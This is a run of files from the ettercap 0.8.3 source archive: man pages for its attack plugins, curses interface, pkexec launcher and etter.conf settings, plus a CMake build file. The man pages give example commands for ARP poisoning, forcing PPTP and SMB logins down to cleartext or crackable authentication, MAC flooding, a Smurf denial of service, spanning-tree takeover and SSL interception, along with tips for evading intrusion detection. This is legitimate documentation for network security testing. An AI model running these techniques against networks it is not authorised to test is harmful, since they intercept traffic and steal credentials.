.B link_type .Sp It performs a check of the link type (hub or switch) by sending a spoofed ARP request and listening for replies. It needs at least one entry in the host list to perform the check. With two or more hosts the test will be more accurate. .Sp .I example : .Sp ettercap \-TQP link_type /192.168.0.1/ .br ettercap \-TQP link_type // .TP .B pptp_chapms1 .Sp It forces the pptp tunnel to negotiate MS-CHAPv1 authentication instead of MS-CHAPv2, that is usually easier to crack (for example with LC4). You have to be in the "middle" of the connection to use it successfully. It hooks the ppp dissector, so you have to keep them active. .TP .B pptp_clear .Sp Forces no compression/encryption for pptp tunnels during negotiation. It could fail if client (or the server) is configured to hang off the tunnel if no encryption is negotiated. You have to be in the "middle" of the connection to use it successfully. It hooks the ppp dissector, so you have to keep them active. .TP .B pptp_pap .Sp It forces the pptp tunnel to negotiate PAP (cleartext) authentication. It could fail if PAP is not supported, if pap_secret file is missing, or in case windows is configured with "authomatic use of domain account". (It could fail for many other reasons too). You have to be in the "middle" of the connection to use it successfully. It hooks the ppp dissector, so you have to keep them active. .TP .B pptp_reneg .Sp Forces re-negotiation on an existing pptp tunnel. You can force re-negotiation for grabbing passwords already sent. Furthermore you can launch it to use pptp_pap, pptp_chapms1 or pptp_clear on existing tunnels (those plugins work only during negotiation phase). You have to be in the "middle" of the connection to use it successfully. It hooks the ppp dissector, so you have to keep them active. .TP .B rand_flood .Sp Floods the LAN with random MAC addresses. Some switches will fail open in repeating mode, facilitating sniffing. The delay between each packet is based on the port_steal_send_delay value in etter.conf. .br It is useful only on ethernet switches. .Sp .I example : .Sp ettercap \-TP rand_flood .TP .B remote_browser .Sp It sends to the browser the URLs sniffed thru HTTP sessions. So you are able to see the webpages in real time. The command executed is configurable in the etter.conf(5) file. It sends to the browser only the GET requests and only for webpages, ignoring single request to images or other amenities. Don't use it to view your own connection :) .TP .B reply_arp .Sp Simple arp responder. When it intercepts an arp request for a host in the targets' lists, it replies with attacker's MAC address. .Sp .I example : .Sp ettercap \-TQzP reply_arp /192.168.0.1/ .br ettercap \-TQzP reply_arp // .TP .B repoison_arp .Sp It solicits poisoning packets after broadcast ARP requests (or replies) from a posioned host. For example: we are poisoning Group1 impersonating Host2. If Host2 makes a broadcast ARP request for Host3, it is possible that Group1 caches the right MAC address for Host2 contained in the ARP packet. This plugin re-poisons Group1 cache immediately after a legal broadcast ARP request (or reply). .br This plugin is effective only during an arp-posioning session. .br In conjunction with the reply_arp plugin, repoison_arp is a good support for the standard arp-poisoning mitm method. .Sp .I example : .Sp ettercap \-T \-M arp:remote \-P repoison_arp /192.168.0.10\-20/ /192.168.0.1/ .TP .B scan_poisoner .Sp Check if someone is poisoning between some host in the list and us. First of all it checks if two hosts in the list have the same mac address. It could mean that one of those is poisoning us pretending to be the other. It could generate many false-positives in a proxy-arp environment. You have to build hosts list to perform this check. After that, it sends icmp echo packets to each host in the list and checks if the source mac address of the reply differs from the address we have stored in the list for that ip. It could mean that someone is poisoning that host pretending to have our ip address and forwards intercepted packets to us. You can't perform this active test in unoffensive mode. .Sp .I example : .Sp ettercap \-TQP scan_poisoner // .TP .B search_promisc .Sp It tries to find if anyone is sniffing in promisc mode. It sends two different kinds of malformed arp request to each target in the host list and waits for replies. If a reply arrives from the target host, it's more or less probable that this target has the NIC in promisc mode. It could generate false-positives. You can launch it either from the command line or from the plugin menu. Since it listens for arp replies it is better that you don't use it while sending arp request. .Sp .I example : .Sp ettercap \-TQP search_promisc /192.168.0.1/ .br ettercap \-TQP search_promisc // .TP .B smb_clear .Sp It forces the client to send smb password in clear-text by mangling protocol negotiation. You have to be in the "middle" of the connection to successfully use it. It hooks the smb dissector, so you have to keep it active. If you use it against a windows client it will probably result in a failure. Try it against a *nix smbclient :) .TP .B smb_down .Sp It forces the client to not to use NTLM2 password exchange during smb authentication. This way, obtained hashes can be easily cracked by LC4. You have to be in the "middle" of the connection to successfully use it. It hooks the smb dissector, so you have to keep it active. .TP .B smurf_attack .Sp The Smurf Attack is a DoS attack in which huge numbers of ICMP packets with the intended victim(s) IP(s) in target1 are sent to the hosts in target2. This causes all hosts on the target2 to reply to the ICMP request, causing significant traffic to the victim's computer(s). .Sp .I example (192.168.0.5 is the victim): .Sp ettercap \-i eth1 \-Tq /192.168.0.5/ // \-P fraggle_attack .TP .B sslstrip .Sp While performing the SSL mitm attack, ettercap substitutes the real ssl certificate with its own. The fake certificate is created on the fly and all the fields are filled according to the real cert presented by the server. Only the issuer is modified and signed with the private key contained in the 'etter.ssl.crt' file. If you want to use a different private key you have to regenerate this file. To regenerate the cert file use the following commands: openssl genrsa \-out etter.ssl.crt 1024 .br openssl req \-new \-key etter.ssl.crt \-out tmp.csr .br openssl x509 \-req \-days 1825 \-in tmp.csr \-signkey etter.ssl.crt \-out tmp.new .br cat tmp.new >> etter.ssl.crt .br rm \-f tmp.new tmp.csr NOTE: SSL mitm is not available (for now) in bridged mode. NOTE: You can use the \-\-certificate/\-\-private\-key long options if you want to specify a different file rather than the etter.ssl.crt file. .TP .B stp_mangler .Sp It sends spanning tree BPDUs pretending to be a switch with the highest priority. Once in the "root" of the spanning tree, ettercap can receive all the "unmanaged" network traffic. .br It is useful only against a group of switches running STP. .br If there is another switch with the highest priority, try to manually decrease your MAC address before running it. .Sp .I example : .Sp ettercap \-TP stp_mangler .SH ORIGINAL AUTHORS Alberto Ornaghi (ALoR) .br Marco Valleri (NaGA) .SH PROJECT STEWARDS Emilio Escobar (exfil) .br Eric Milam (Brav0Hax) .SH OFFICIAL DEVELOPERS Mike Ryan (justfalter) .br Gianfranco Costamagna (LocutusOfBorg) .br Antonio Collarino (sniper) .br Ryan Linn .br Jacob Baines .SH CONTRIBUTORS Dhiru Kholia (kholia) .br Alexander Koeppe (koeppea) .br Martin Bos (PureHate) .br Enrique Sanchez .br Gisle Vanem .br Johannes Bauer .br Daten (Bryan Schneiders) .SH "SEE ALSO" .I "ettercap(8)" .I "ettercap_curses(8)" .I "etterlog(8)" .I "etterfilter(8)" .I "etter.conf(5)" .I "ettercap\-pkexec(8)" .LP ettercap-0.8.3/man/CMakeLists.txt0000644000175000017500000000476513505247364016523 0ustar koeppeakoeppea# Add man page custom target if(ENABLE_PDF_DOCS) find_program(GROFF_EXECUTABLE NAMES groff) set(PDF_FILES) # Check if groff supports PDF generation execute_process(COMMAND ${GROFF_EXECUTABLE} -Tpdf -V RESULT_VARIABLE GROFF_EXIT ERROR_VARIABLE GROFF_ERROR OUTPUT_QUIET) if(NOT ${GROFF_EXIT} STREQUAL 0) message(FATAL_ERROR "groff (at ${GROFF_EXECUTABLE}) does not seem to support PDF generation (${GROFF_EXIT}). groff failed with output:\n${GROFF_ERROR} Consider upgrading the groff installation. Users of Debian-based distributions must also install the full groff package.") endif() endif() set(MAN_NAMES ettercap.8 etterfilter.8 etterlog.8 etter.conf.5) set(MAN_FILES) if(ENABLE_PLUGINS) set(MAN_NAMES ${MAN_NAMES} ettercap_plugins.8) endif() if(INSTALL_DESKTOP) set(MAN_NAMES ${MAN_NAMES} ettercap-pkexec.8) endif() if(ENABLE_CURSES) set(MAN_NAMES ${MAN_NAMES} ettercap_curses.8) endif() foreach(m IN LISTS MAN_NAMES) set(mf ${CMAKE_BINARY_DIR}/man/${m}) list(APPEND MAN_FILES ${mf}) if(ENABLE_PDF_DOCS) set(pdf ${CMAKE_BINARY_DIR}/man/${m}.pdf) add_custom_command(OUTPUT ${mf}.pdf COMMAND ${GROFF_EXECUTABLE} -mandoc -Tpdf ${mf} > ${pdf} WORKING_DIRECTORY ${CMAKE_BINARY_DIR} COMMENT "Creating PDF for ${mf}" VERBATIM) list(APPEND PDF_FILES ${pdf}) install(FILES ${pdf} DESTINATION ${INSTALL_DATADIR}/ettercap/doc) endif() endforeach() add_custom_target(man ALL DEPENDS ${MAN_FILES}) if(ENABLE_PDF_DOCS) add_custom_target(pdf ALL DEPENDS ${PDF_FILES}) endif() install(FILES ${CMAKE_BINARY_DIR}/man/ettercap.8 ${CMAKE_BINARY_DIR}/man/etterfilter.8 ${CMAKE_BINARY_DIR}/man/etterlog.8 DESTINATION ${MAN_INSTALLDIR}/man8/) configure_file("ettercap.8.in" "ettercap.8") configure_file("etterfilter.8.in" "etterfilter.8") configure_file("etterlog.8.in" "etterlog.8") configure_file("etter.conf.5.in" "etter.conf.5") if(ENABLE_PLUGINS) install(FILES ${CMAKE_BINARY_DIR}/man/ettercap_plugins.8 DESTINATION ${MAN_INSTALLDIR}/man8/) configure_file("ettercap_plugins.8.in" "ettercap_plugins.8") endif() if(ENABLE_CURSES) install(FILES ${CMAKE_BINARY_DIR}/man/ettercap_curses.8 DESTINATION ${MAN_INSTALLDIR}/man8/) configure_file("ettercap_curses.8.in" "ettercap_curses.8") endif() if(INSTALL_DESKTOP) install(FILES ${CMAKE_BINARY_DIR}/man/ettercap-pkexec.8 DESTINATION ${MAN_INSTALLDIR}/man8/) configure_file("ettercap-pkexec.8.in" "ettercap-pkexec.8") endif() install(FILES ${CMAKE_BINARY_DIR}/man/etter.conf.5 DESTINATION ${MAN_INSTALLDIR}/man5/) ettercap-0.8.3/man/ettercap-pkexec.8.in0000644000175000017500000001020213505247364017524 0ustar koeppeakoeppea.\" ettercap -- a multipurpose sniffer/interceptor utility .\" .\" This program is free software; you can redistribute it and/or modify .\" it under the terms of the GNU General Public License as published by .\" the Free Software Foundation; either version 2 of the License, or .\" (at your option) any later version. .\" .\" This program is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public License .\" along with this program; if not, write to the Free Software .\" Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. .\" .de Sp .if n .sp .if t .sp 0.4 .. .TH ETTERCAP "8" "" "ettercap @VERSION@" .SH NAME ettercap\-pkexec - graphical pkexec-based launcher for ettercap .br This launcher depends on policykit\-1 and the menu packages, and basically wraps the ettercap binary command .br with a pkexec action script usually defined on @POLKIT_DIR@/org.pkexec.ettercap.policy, .br allowing users to directly call ettercap from the desktop or menu launcher with root privileges. .br The commands available are exactly the same as the ettercap man page. Please refer to man ettercap for the list of available parameters. .br (don't forget to change "ettercap" to "ettercap\-pkexec" as caller program). example: .Sp ettercap\-pkexec \-G will start ettercap with root privileges and the GTK2 interface. .SH AUTHOR This code was originally taken from arch distro, and refactored to work with cmake system by .br Gianfranco Costamagna (LocutusOfBorg) .SH ORIGINAL AUTHORS Alberto Ornaghi (ALoR) .br Marco Valleri (NaGA) .SH PROJECT STEWARDS Emilio Escobar (exfil) .br Eric Milam (Brav0Hax) .SH OFFICIAL DEVELOPERS Mike Ryan (justfalter) .br Gianfranco Costamagna (LocutusOfBorg) .br Antonio Collarino (sniper) .br Ryan Linn .br Jacob Baines .SH CONTRIBUTORS Dhiru Kholia (kholia) .br Alexander Koeppe (koeppea) .br Martin Bos (PureHate) .br Enrique Sanchez .br Gisle Vanem .br Johannes Bauer .br Daten (Bryan Schneiders) .SH "SEE ALSO" .I "etter.conf(5)" .I "ettercap_curses(8)" .I "ettercap_plugins(8)" .I "etterlog(8)" .I "etterfilter(8)" .LP .SH AVAILABILITY https://github.com/Ettercap/ettercap/downloads .SH GIT git clone git://github.com/Ettercap/ettercap.git .br or .br git clone https://github.com/Ettercap/ettercap.git .SH BUGS Our software never has bugs. .br It just develops random features. ;) .PP .B KNOWN-BUGS .PP - ettercap doesn't handle fragmented packets... only the first segment will be displayed by the sniffer. However all the fragments are correctly forwarded. .PP + please send bug-report, patches or suggestions to or visit https://github.com/Ettercap/ettercap/issues. .PP + to report a bug, follow the instructions in the README.BUGS file .SH PHILOLOGICAL HISTORY "Even if blessed with a feeble intelligence, they are cruel and smart..." this is the description of Ettercap, a monster of the RPG Advanced Dungeons & Dragon. .PP The name "ettercap" was chosen because it has an assonance with "ethercap" which means "ethernet capture" (what ettercap actually does) and also because such monsters have a powerful poison... and you know, arp poisoning... ;) .SH The Lord Of The (Token)Ring (the fellowship of the packet) .PP "One Ring to link them all, One Ring to ping them, .br one Ring to bring them all and in the darkness sniff them." .SH Last words "Programming today is a race between software engineers striving to build bigger and better idiot-proof programs, and the Universe trying to produce bigger and better idiots. So far, the Universe is winning." - Rich Cook ettercap-0.8.3/man/ettercap_curses.8.in0000644000175000017500000002717313505247364017652 0ustar koeppeakoeppea.\" ettercap_curses -- man page for the Ncurses GUI .\" .\" This program is free software; you can redistribute it and/or modify .\" it under the terms of the GNU General Public License as published by .\" the Free Software Foundation; either version 2 of the License, or .\" (at your option) any later version. .\" .\" This program is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public License .\" along with this program; if not, write to the Free Software .\" Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. .\" .\" .de Sp .if n .sp .if t .sp 0.4 .. .TH ETTERCAP-CURSES "8" "" "ettercap @VERSION@" .SH NAME ettercap - Man page for the Ncurses GUI. .SH GENERAL DESCRIPTION The curses GUI is quite simple and intuitive. .br It is menu-driven. Every flag or function can be modified/called through the upper menu. All user messages are printed in the bottom window. If you want to see the old messages, you can scroll the window buffer by pressing the UP, DOWN, PPAGE, NPAGE keys. The middle part is used to display information or dialogs for the user. .Sp The menus can be opened by pressing the relative hotkey. For the menus the hotkey is represented by the uppercase initial letter of the title (e.g. 'S' for Sniffing, 'T' for Targets). The functions within a menu can be called by pressing the hotkey depicted near the function name on the right. Hotkeys prefixed with 'C-' are to be used in conjunction with the CTRL key (e.g. 'C-f' means CTRL+f). .Sp You can switch the focus between the objects on the screen by pressing the TAB key or by clicking on it with the mouse (if you are running ettercap within an xterm). Mouse events are supported only through the xterm. You can use the mouse to select objects, open a menu, choose a function, scroll the elevators for the scrolling windows, etc etc. .Sp When you open multiple windows in the middle part, they will overlap. Use the TAB key to switch between them. Use CTRL+Q to close the focused window. .br You can also use CTRL+Q to close the input dialog if you want to cancel the requested input. (i.e. you have selected the wrong function and you want to go back). .Sp To have a quick help on the shortcuts you can use against a particular window press the SPACE key. A help window will be displayed with a list of shortcuts that can be used. If the window does not appear, no shortcuts are available. .SH HOW TO SELECT IT To use the ncurses GUI you have to: .Sp - compile ettercap with ncurses support (obviously) .br - run it with the \-C flag .Sp Passing the \-C flag is sufficient, but if you want you can pass other flags that will be automatically set for the ncurses GUI. You will be able to override them using the menu to change the options. .SH ONCE STARTED As soon as ettercap is launched with the Ncurses GUI, you will be prompted with multiple choices. The first screen lets you select if you want to open a pcap file or dump the sniffed traffic to a file, if you want unified sniffing or bridged one, permits you to set a pcap file on the captured traffic and enables you to log all the sniffed data. .Sp Once you have selected a sniffing method (from file, unified or bridged) this screen will not be reachable anymore. The only way is to restart ettercap. Let's analyze each menu in the start screen: .TP .B File .RS .TP .B Open... Open a pcap file and analyze it. All the functionalities available for live sniffing are in place except for those sending or forwarding packets (mitm attacks and so on...). .TP .B Dump to file... All the traffic sniffed by the live capture will be dumped to that file. The filters, not the targets, have effects on this file, as all the packets received by pcap will be dumped. The only way to not dump a certain packet is to set a proper pcap filter (see below). .TP .B Exit .br Exits from ettercap and returns to the command prompt. .RE .TP .B Sniff .RS .TP .B Unified sniffing... Choosing this function you will be prompted to select the network interface to be used for sniffing. The first up and running interface is suggested in the input box. For an explanation of what unified sniffing is, refer to ettercap(8). .br TIP: if you use the 'u' hotkey, this step will be skipped and the default interface is automatically selected. .TP .B Bridged sniffing... After selecting the two interfaces to be used, you will enter the Bridged sniffing mode. For an explanation of what bridged sniffing is, refer to ettercap(8). .TP .B Set pcap filter... Here you can insert a tcpdump-like filter for the capturing process. .br IMPORTANT: if you manage to use a mitm attack, remember that if ettercap does not see a packet, it will NOT be forwarded. So be sure of what you are doing by setting a pcap filter. .RE .TP .B Options .RS .TP .B Unoffensive This enable/disable the unoffensive flag. The asterisk '*' means "the option is enabled". Otherwise the option is not enabled. .TP .B Promisc mode Enable/disable the promisc mode for the live capture on a network interface. This is an "asterisk-option" as the unoffensive one. .TP .B Set netmask Use the specified netmask instead of the one associated with the current iface. This option is useful if you have the NIC with an associated netmask of class B and you want to scan (with the arp scan) only a C class. .RE .SH THE INTERESTING PART Once you have selected an offline sniffing or a live capture, the upper menu is modified and you can start to do the interesting things... .br Some of the following menu are only available in live capture. .TP .B Start .RS .TP .B Start sniffing Starts the sniffing process depending on what you have selected on startup (live or from file) .TP .B Stop sniffing Stops the sniffing thread. .TP .B Exit .br Returns to your favourite shell ;) .RE .TP .B Targets .RS .TP .B Current Targets Displays a list of hosts in each TARGET. You can selectively remove a host by selecting it and press 'd' or add a new host pressing 'a'. To switch between the two lists, use the ARROWS keys. .TP .B Select TARGET(s) Lets you select the TARGET(s) as explained in ettercap(8). The syntax is the same as for the command line specification. .TP .B Protocol... You can choose to sniff only TCP, only UDP or both (ALL). .TP .B Reverse matching Reverse the matching of a packet. It is equivalent to a NOT before the target specification. .TP .B Wipe Targets Restores both TARGETS to ANY/ANY/ANY .RE .TP .B Hosts .RS .TP .B Hosts list Displays the list of hosts detected through an ARP scan or converted from the passive profiles. This list is used by MITM attacks when the ANY target is selected, so if you want to exclude a host from the attack, simply delete it from the list. .br You can remove a host from the list by pressing 'd', add it to TARGET1 by pressing '1' or add it to TARGET2 by pressing '2'. .TP .B Scan for hosts Perform the ARP scan of the netmask if no TARGETS are selected. If TARGETS was specified it only scans for those hosts. .TP .B Load from file... Loads the hosts list from a file previously saved with "save to file" or hand crafted. .TP .B Save to file... Save the current hosts list to a file. .RE .TP .B View .RS .TP .B Connections Displays the connection list. To see detailed information about a connection press 'd', or press 'k' to kill it. To see the traffic for a specific connection, select it and press enter. Once the two-panel interface is displayed you can move the focus with the arrow keys. Press 'j' to switch between joined and split visualization. Press 'k' to kill the connection. Press 'y' to inject interactively and 'Y' to inject a file. Note that it is important which panel has the focus as the injected data will be sent to that address. .br HINT: connections marked with an asterisk contain account(s) information. .TP .B Profiles Diplays the passive profile hosts list. Selecting a host will display the relative details (including account with user and pass for that host). .br You can convert the passive profile list into the hosts list by pressing 'c'. To purge remote hosts, press 'l'. To purge local hosts, press 'r'. You can also dump the current profile to a file by pressing 'd'; the dumped file can be opened with etterlog(8). .br HINT: profiles marked with an asterisk contain account(s) information. .TP .B Statistics Displays some statistics about the sniffing process. .TP .B Resolve IP addresses Enables DNS resolution for all the sniffed IP address. CAUTION: this will extremely slow down ettercap. By the way the passive dns resolution is always active. It sniffs dns replies and stores them in a cache. If an ip address is present in that cache, it will be automatically resolved. It is dns resolution for free... ;) .TP .B Visualization method Change the visualization method for the sniffed data. Available methods: ascii, hex, ebcdic, text, html. .TP .B Visualization regex Set the visualization regular expression. Only packets matching this regex will be displayed in the connection data window. .TP .B Set the WiFi key Set the WiFi key used to decrypt WiFi encrypted packets. See ettercap(8) for the format of the key. .RE .TP .B Mitm .RS .TP .B [...] For each type of attack, a menu entry is displayed. Simply select the attack you want and fill the arguments when asked. You can activate more than one attack at a time. .TP .B Stop mitm attack(s) Stops all the mitm attacks currently active. .RE .TP .B Filters .RS .TP .B Load a filter... Load a precompiled filter file. The file must be compiled with etterfilter(8) before it can be loaded. .TP .B Stop filtering Unload the filter and stop filtering the connections. .RE .TP .B Logging .RS .TP .B Log all packets and infos... Given a file name, it will create two files: filename.eci (for information about hosts) and filename.ecp (for all the interesting packets). This is the same as the \-L option. .TP .B Log only infos... This is used only to sniff information about hosts (same as the \-l option). .TP .B Stop logging info Come on... it is self explanatory. .TP .B Log user messages... Will log all the messages appearing in the bottom window (same as \-m option). .TP .B Compressed file Asterisk-option to control whether or not the logfile should be compressed. .RE .TP .B Plugins .RS .TP .B Manage the plugins Opens the plugin management window. You can select a plugin and activate it by pressing 'enter'. Plugins already active can be recognized by the [1] symbol instead of [0]. If you select an active plugin, it will be deactivated. .TP .B Load a plugin... You can load a plugin file that is not in the default search path. (remember that you can browse directories with EC_UID permissions). .RE .SH ORIGINAL AUTHORS Alberto Ornaghi (ALoR) .br Marco Valleri (NaGA) .SH PROJECT STEWARDS Emilio Escobar (exfil) .br Eric Milam (Brav0Hax) .SH OFFICIAL DEVELOPERS Mike Ryan (justfalter) .br Gianfranco Costamagna (LocutusOfBorg) .br Antonio Collarino (sniper) .br Ryan Linn .br Jacob Baines .SH CONTRIBUTORS Dhiru Kholia (kholia) .br Alexander Koeppe (koeppea) .br Martin Bos (PureHate) .br Enrique Sanchez .br Gisle Vanem .br Johannes Bauer .br Daten (Bryan Schneiders) .SH "SEE ALSO" .I "ettercap(8)" .I "ettercap_plugins(8)" .I "etterlog(8)" .I "etterfilter(8)" .I "etter.conf(5)" .I "ettercap\-pkexec(8)" .LP ettercap-0.8.3/man/etter.conf.5.in0000644000175000017500000004065213505247364016520 0ustar koeppeakoeppea.\" ettercap -- a multipurpose sniffer/interceptor utility .\" .\" This program is free software; you can redistribute it and/or modify .\" it under the terms of the GNU General Public License as published by .\" the Free Software Foundation; either version 2 of the License, or .\" (at your option) any later version. .\" .\" This program is distributed in the hope that it will be useful, .\" but WITHOUT ANY WARRANTY; without even the implied warranty of .\" MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the .\" GNU General Public License for more details. .\" .\" You should have received a copy of the GNU General Public License .\" along with this program; if not, write to the Free Software .\" Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. .\" .\" .de Sp .if n .sp .if t .sp 0.4 .. .TH ETTER.CONF 5 "" "ettercap @VERSION@" .SH NAME etter.conf - Ettercap configuration file .SH DESCRIPTION .B "etter.conf" is the configuration file that determines ettercap behaviour. It is always loaded at startup and it configures some attributes used at runtime. .LP The file contains entries of the form: .RS .nf .ft B .sp [section] .ft B entry = value .I "..." .ft R .fi .RE .LP Each entry defines a variable that can be customized. Every value MUST be an integer. Sections are used only to group together some variables. .Sp .B NOTE: if you omit a variable in the conf file, it will be initialized with the value 0. It is strongly discouraged to not initialize critical variables such as "arp_poison_delay" or "connection_timeout". .LP The following is a list of available variables: .TP 20 .B [privs] .TP .B ec_uid This variable specifies the UID to which privileges are dropped at startup. After the socket at link layer has been opened the privileges are dropped to a specific uid different from root for security reasons. etter.conf is the only file that is read with root privs. Be sure that the specified uid has enough privs to read other files (etter.*) You can bypass this variable by setting the environment variable EC_UID. .TP 20 .B [mitm] .TP .B arp_storm_delay The value represents the milliseconds to wait between two consecutive packets during the initial ARP scan. You can increment this value to be less aggressive at startup. The randomized scan plus a high delay can fool some types of ARP scan detectors. .TP .B arp_poison_smart With this variable set, only 3 inital poisoned ARP messages are sent to the victims. This poisoned status is kept up by ettercap with responding to ARP requests from victims that want to refresh their ARP cache. This makes the ARP poisoning very stealthy but may be unreliable on shared media such as WiFi. .TP .B arp_poison_warm_up When the poisoning process starts, the inter-packet delay is low for the first 5 poisons (to be sure the poisoning process has been successful). After the first 5 poisons, the delay is incremented (to keep up the poisoning). This variable controls the delay for the first 5 poisons. The value is in seconds. .br The same delay is used when the victims are restored to the original associations (RE-ARPing) when ettercap is closed. .TP .B arp_poison_delay This variable controls the poisoning delay after the first 5 poisons. The value is expressed in seconds. You can increase this value (to try to fool the IDS) up to the timeout of the ARP cache (which depends on the poisoned operating system). .TP .B arp_poison_icmp Enable the sending of a spoofed ICMP message to force the targets to make an arp request. This will create an arp entry in the host cache, so ettercap will be able to win the race condition and poison the target. Useful against targets that do not accept gratuitous arp if the entry is not in the cache. .TP .B arp_poison_reply Use ARP replies to poison the targets. This is the classic attack. .TP .B arp_poison_request Use ARP request to poison the targets. Useful against targets that cache even arp request values. .TP .B arp_poison_equal_mac Set this option to 0 if you want to skip the poisoning of two hosts with the same mac address. This may happen if a NIC has one or more aliases on the same network. .TP .B dhcp_lease_time This is the lease time (in seconds) for a dhcp assignment. You can lower this value to permit the victims to receive a correct dhcp reply after you have stopped your attack. Using higher timeouts can seriously mess up your network after the attack has finished. On the other hand some clients will prefer a higher lease time, so you have to increase it to win the race condition against the real server. .TP .B port_steal_delay This is the delay time (in milliseconds) between stealing packets for the "port" mitm method. With low delays you will be able to intercept more packets, but you will generate more traffic. You have to tune this value in order to find a good balance between the number of intercepted packets, re-transmitted packets and lost packets. This value depends on full/half duplex channels, network drivers and adapters, network general configuration and hardware. .TP .B port_steal_send_delay This is the delay time (in microseconds) between packets when the "port" mitm method has to re-send packets queues. As said for port_steal_delay you have to tune this option to the lowest acceptable value. .TP .B ndp_poison_warm_up This option operates similar to the arp_poison_warm_up option. When the poisoning process starts, this option controls the NDP poison delay for the first 5 poisons (to be sure the poisoning process has been successful). After the first 5 poisons, the delay is incremented (to keep up the poisoning). This variable controls the delay for the first 5 poisons. The value should be lower than the \fBndp_poison_delay\fR. The value is in seconds. .br The same delay is used when the victims are restored to the original associations when ettercap is closed. .br .TP .B ndp_poison_delay This option is similar to the arp_poison_delay option. It controls the delay in seconds for sending out the poisoned NDP packets to poison victim's neighbor cache. This value may be increased to hide from IDSs. But increasing the value increases as well the probability for failing race conditions during neighbor discovery and to miss some packets. .br .TP .B ndp_poison_send_delay This option controls the delay in microseconds between poisoned NDP packets are sent. This value may be increased to hide from IDSs. But increasing the value increases as well the probability for failing race conditions during neighbor discovery and to miss some packets. .br .TP .B ndp_poison_icmp Enable the sending of a spoofed ICMPv6 message to motivate the targets to perform neighbor discovery. This will create an entry in the host neighbor cache, so ettercap will be able to win the race condition and poison the target. Useful against targets that do not accept neighbor advertisements if the entry is not in the cache. .br .TP .B ndp_poison_equal_mac Set this option to 0 if you want to skip the NDP poisoning of two hosts with the same mac address. This may happen if a NIC has one or more aliases on the same network. .br .TP .B icmp6_probe_delay This option defines the time in seconds ettercap waits for active IPv6 nodes to respond to the ICMP probes. Decreasing this value could lead to miss replies from active IPv6 nodes, hence miss them in the host list. Increasing the value usually has no impact; normally nodes can manage to answer during the default delay. .br .B NOTE: The ndp and icmp6 options are only available if ettercap has been built with IPv6 support .TP 20 .B [connections] .TP .B connection_timeout Every time a new connection is discovered, ettercap allocates the needed structures. After a customizable timeout, you can free these structures to keep the memory usage low. This variable represents this timeout. The value is expressed in seconds. This timeout is applied even to the session tracking system (the protocol state machine for dissectors). .TP .B connection_idle The number of seconds to wait before a connection is marked as IDLE. .TP .B connection_buffer This variable controls the size of the buffer linked to each connection. Every sniffed packet is added to the buffer and when the buffer is full the older packets are deleted to make room for newer ones. This buffer is useful to view data that went on the cable before you select and view a specific connection. The higher this value, the higher the ettercap memory occupation. By the way, the buffer is dynamic, so if you set a buffer of 100.000 byte it is not allocated all together at the first packet of a connection, but it is filled as packets arrive. .TP .B connect_timeout The timeout in seconds when using the connect() syscall. Increase it if you get a "Connection timeout" error. This option has nothing to do with connections sniffed by ettercap. It is a timeout for the connections made by ettercap to other hosts (for example when fingerprinting remote host). .TP 20 .B [stats] .TP .B sampling_rate Ettercap keeps some statistics on the processing time of the bottom half (the sniffer) and top half (the protocol decoder). These statistics are made on the average processing time of sampling_rate packets. You can decrease this value to have a more accurate real-time picture of processing time or increase it to have a smoother picture. The total average will not change, but the worst value will be heavily influenced by this value. .TP 20 .B [misc] .TP .B close_on_eof When reading from a dump file and using console or daemon UI, this variable is used to determine what action has to be done on EOF. It is a boolean value. If set to 1 ettercap will close itself (useful in scripts). Otherwise the session will continue waiting for user input. .TP .B store_profiles Ettercap collects in memory a profile for each host it detects. Users and passwords are collected there. If you want to run ettercap in background logging all the traffic, you may want to disable the collecting in memory to save system memory. Set this option to 0 (zero) to disable profiles collection. A value of 1 will enable collection for all the hosts, 2 will collect only local hosts and 3 only remote hosts (a host is considered remote if it does not belong to the netmask). .TP .B aggressive_dissectors Some dissectors (such as SSH and HTTPS) need to modify the payload of the packets in order to collect passwords and perform a decryption attack. If you want to disable the "dangerous" dissectors all together, set this value to 0. .TP .B skip_forwarded If you set this value to 0 you will sniff even packets forwarded by ettercap or by the kernel. It will generate duplicate packets in conjunction with the arp mitm method (for example). It could be useful while running ettercap in unoffensive mode on a host with more than one network interface (waiting for the multiple-interface feature...) .TP .B checksum_warning If you set the value to 0 the messages about incorrect checksums will not be displayed in the user messages windows (nor logged to a file with \-m). .br Note that this option will not disable the check on the packets, but only prevent the message to be displayed (see below). .TP .B checksum_check This option is used to completely disable the check on the checksum of the packets that ettercap receives. The check on the packets is performed to avoid ettercap spotting thru bad checsum packets (see Phrack 60.12). If you disable the check, you will be able to sniff even bad checksummed packet, but you will be spotted if someone is searching for you... .TP .B sniffing_at_startup If this option is set to 1, then ettercap will immediately start unified or bridged sniffing after the setup phase has been completed. This option helps to avoid traffic blocking when a MITM technique has been started but forgotten to start sniffing. Therefore this options is set to 1 by default. .br If this behaviour is not desired set it to 0 to manually control the status of unified or bridged sniffing after ettercap startet. However, sniffing can be stopped and started at any time while ettercap runs. .TP .B geoip_support_enable This option controls if GeoIP information shall be processed for IP addresses whether or not ettercap has been built with GeoIP support. .TP .B gtkui_prefer_dark_theme This option tries to enforce the dark variant of the applied theme. However this does only have an effect if the applied theme provides a dark variant. Normally the desktop environment controls the theme of applications. But some lightweight desktop environments doesn't support a configuraton option for dark themes even when the theme provides a dark variant. To leave the theme variant setting to the desktop environment this option is set to 0 by default. .br .B NOTE: This option is only relevant in GTK mode and if ettercap has been built with full GTK3 support. .TP 20 .B [dissectors] .TP .B protocol_name This value represents the port on which the protocol dissector has to be bound. A value of 0 will disable the dissector. The name of the variable is the same of the protocol name. You can specify a non standard port for each dissector as well as multiple ports. The syntax for multiport selection is the following: port1,port2,port3,... .br NOTE: some dissectors are conditionally compiled . This means that depending on the libraries found in your system some dissectors will be enabled and some others will not. By default etter.conf contains all supported dissectors. if you got a "FATAL: Dissector 